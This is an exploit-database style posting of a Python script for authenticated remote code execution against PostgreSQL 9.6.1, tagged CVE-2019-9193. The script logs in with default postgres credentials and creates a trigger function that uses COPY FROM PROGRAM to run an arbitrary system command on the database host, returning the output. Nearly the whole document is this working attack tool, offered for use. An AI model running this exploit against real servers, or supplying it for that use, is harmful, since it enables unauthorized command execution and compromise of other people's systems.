PostgreSQL 9.6.1 Remote Code Execution

`# Exploit Title: PostgreSQL 9.6.1 - Remote Code Execution (RCE) (Authenticated)  
# Date: 2023-02-01  
# Exploit Author: Paulo Trindade (@paulotrindadec), Bruno Stabelini (@Bruno Stabelini), Diego Farias (@fulcrum) and Weslley Shaimon  
# Github: https://github.com/paulotrindadec/CVE-2019-9193  
# Version: PostgreSQL 9.6.1 on x86_64-pc-linux-gnu  
# Tested on: Red Hat Enterprise Linux Server 7.9  
# CVE: CVE-2019–9193  
  
#!/usr/bin/python3   
  
import sys  
import psycopg2  
import argparse  
  
  
def parseArgs():  
parser = argparse.ArgumentParser(description='PostgreSQL 9.6.1 Authenticated Remote Code Execution')  
parser.add_argument('-i', '--ip', nargs='?', type=str, default='127.0.0.1', help='The IP address of the PostgreSQL DB [Default: 127.0.0.1]')  
parser.add_argument('-p', '--port', nargs='?', type=int, default=5432, help='The port of the PostgreSQL DB [Default: 5432]')  
parser.add_argument('-U', '--user', nargs='?', default='postgres', help='Username to connect to the PostgreSQL DB [Default: postgres]')  
parser.add_argument('-P', '--password', nargs='?', default='postgres', help='Password to connect to the the PostgreSQL DB [Default: postgres]')  
parser.add_argument('-c', '--command', nargs='?', help='System command to run')  
args = parser.parse_args()  
return args  
  
def main():  
try:  
  
# Variables  
RHOST = args.ip  
RPORT = args.port  
USER = args.user  
PASS = args.password  
  
print(f"\r\n[+] Connect to PostgreSQL - {RHOST}")  
con = psycopg2.connect(host=RHOST, port=RPORT, user=USER, password=PASS)  
  
if (args.command):  
exploit(con)  
else:  
print ("[!] Add argument -c [COMMAND] to execute system commands")  
  
except psycopg2.OperationalError as e:  
print("Error")  
print ("\r\n[-] Failed to connect with PostgreSQL")  
exit()  
  
def exploit(con):  
cur = con.cursor()  
  
CMD = args.command  
  
try:  
print('[*] Running\n')  
cur.execute("DROP TABLE IF EXISTS triggeroffsec;")  
cur.execute("DROP FUNCTION triggeroffsecexeccmd() cascade;")  
cur.execute("DROP TABLE IF EXISTS triggeroffsecsource;")  
cur.execute("DROP TRIGGER IF EXISTS shoottriggeroffsecexeccmd on triggeroffsecsource;")  
  
cur.execute("CREATE TABLE triggeroffsec (id serial PRIMARY KEY, cmdout text);")  
  
cur.execute("""CREATE OR REPLACE FUNCTION triggeroffsecexeccmd()  
RETURNS TRIGGER  
LANGUAGE plpgsql  
AS $BODY$  
BEGIN  
COPY triggeroffsec (cmdout) FROM PROGRAM %s;  
RETURN NULL;  
END;  
$BODY$;  
""",[CMD,]  
)  
  
cur.execute("CREATE TABLE triggeroffsecsource(s_id integer PRIMARY KEY);")  
  
cur.execute("""CREATE TRIGGER shoottriggeroffsecexeccmd  
AFTER INSERT  
ON triggeroffsecsource  
FOR EACH STATEMENT  
EXECUTE PROCEDURE triggeroffsecexeccmd();  
""")  
  
cur.execute("INSERT INTO triggeroffsecsource VALUES (2);")  
  
cur.execute("TABLE triggeroffsec;")  
  
con.commit()  
  
returncmd = cur.fetchall()  
for result in returncmd:  
print(result)  
  
except (Exception, psycopg2.DatabaseError) as error:  
print(error)  
  
  
finally:  
if con is not None:  
con.close()  
#print("Closed connection")  
  
if __name__ == "__main__":  
args = parseArgs()  
main()  
  
  
`